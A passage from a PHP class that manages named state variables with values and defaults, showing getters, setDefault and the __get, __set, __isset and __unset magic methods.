		foreach ($this->data as $name => $state)
		{
			$data[$name] = $state->value;
		}

		return $data;
	}

	/**
	 * Get list of state variables is being stored
	 */
	public function getProperties()
	{
		return array_keys($this->data);
	}

	/**
	 * Get default value of a state
	 *
	 * @param string $name
	 *
	 * @return mixed the default state value
	 */
	public function getDefault($name)
	{
		return $this->data[$name]->default;
	}

	/**
	 * Change default value (and therefore value) of an existing state
	 *
	 * @param $name
	 * @param $default
	 *
	 * @return $this
	 */
	public function setDefault($name, $default)
	{
		if (isset($this->data[$name]))
		{
			$this->data[$name]->default = $default;
			$this->data[$name]->value   = $default;
		}

		return $this;
	}

	/**
	 * Magic method to get state value
	 *
	 * @param string
	 *
	 * @return mixed
	 */
	public function __get($name)
	{
		return $this->get($name);
	}

	/**
	 * Set state value
	 *
	 * @param string $name  The user-specified state name.
	 *
	 * @param mixed  $value The user-specified state value.
	 *
	 * @return void
	 */
	public function __set($name, $value)
	{
		$this->set($name, $value);
	}

	/**
	 * Test existence of a state variable
	 *
	 * @param string $name The state name
	 *
	 * @return boolean
	 */
	public function __isset($name)
	{
		return isset($this->data[$name]);
	}

	/**
	 * Unset a state value
	 *
	 * @param string $name The state name.
	 *
	 * @return void
	 */
	public function __unset($name)
	{
		if (isset($this->data[$name]))
		{
			$this->data[$name]->value = $this->data[$name]->default;
		}
	}
}